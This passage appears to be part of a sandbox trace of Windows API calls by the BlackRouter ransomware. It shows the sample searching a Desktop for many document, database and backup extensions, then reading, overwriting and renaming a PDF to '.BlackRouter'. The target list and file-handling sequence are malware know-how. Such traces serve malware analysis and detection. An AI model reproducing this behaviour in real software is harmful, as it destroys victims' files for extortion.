returned 0xffffffffffffffff [0040.565] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sldm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.565] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sldx", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sti", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sxi", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.dwg", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.566] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.567] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eDF0mJ1fyTQppHOiiB.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edf0mj1fytqpphoiib.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.567] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x86c [0040.567] ReadFile (in: hFile=0x258, lpBuffer=0x2919e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2919e50*, lpNumberOfBytesRead=0x1ae708*=0x86c, lpOverlapped=0x0) returned 1 [0040.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eDF0mJ1fyTQppHOiiB.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edf0mj1fytqpphoiib.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eDF0mJ1fyTQppHOiiB.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edf0mj1fytqpphoiib.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bfeb440, ftCreationTime.dwHighDateTime=0x1d45b03, ftLastAccessTime.dwLowDateTime=0x31faddb0, ftLastAccessTime.dwHighDateTime=0x1d45e61, ftLastWriteTime.dwLowDateTime=0xbeb23dd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x870)) returned 1 [0040.571] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eDF0mJ1fyTQppHOiiB.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edf0mj1fytqpphoiib.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eDF0mJ1fyTQppHOiiB.pdf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edf0mj1fytqpphoiib.pdf.blackrouter")) returned 1 [0040.572] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wk1", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.572] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wks", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.572] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rtf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.csv", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.msg", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pst", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ppsx", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ppsm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pps", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pot", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pptm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pptx", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.574] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ppt", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.Zhon", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xltm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xltx", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xlc", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xlm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.575] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xlt", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.576] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xlw", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.576] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xlsb", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.576] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xlsm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.576] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xlsx", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.576] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.xls", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.dotm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.dot", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ndf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ib", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ibk", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mo", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.strings", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.579] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.nib", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.579] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sh", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.579] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.log", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.579] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.swidtag", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.579] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.grd", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.579] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sig", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.spm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.cat", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.tlb", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sres", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.hiv", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.581] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.resources", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.581] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.3da", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.581] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.3ws", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.581] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.chm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.581] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.3tf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.581] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.glf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.582] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sqlite", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.582] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.version", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.582] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.manifest", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.582] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.config", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.582] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gst", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ind", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.id", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.map", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.prj", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.lic", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.583] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.prm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rss", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sbo", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.cod", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.setup", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.glf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.netmodule", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vib", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.tib", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.$$$", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.$DB", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.001", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.001", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.002", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.003", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.113", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.73B", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.__A", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.__B", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.AB", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ABA", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ABBU", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.combo", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ABF", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ABK", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ABU", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ABU1", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ACP", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ACR", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ADI", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.AEA", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.AFI", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ARC", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ARC", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.AS4", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ASD", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ASHBAK", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ASV", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ASVX", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ATE", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ATI", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BA6", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BA7", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BAC", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BACKUPDB", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BAK2", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BAK3", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BAKX", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.592] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.592] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0040.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.BAK~", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.593] FindFirstFileW (in: 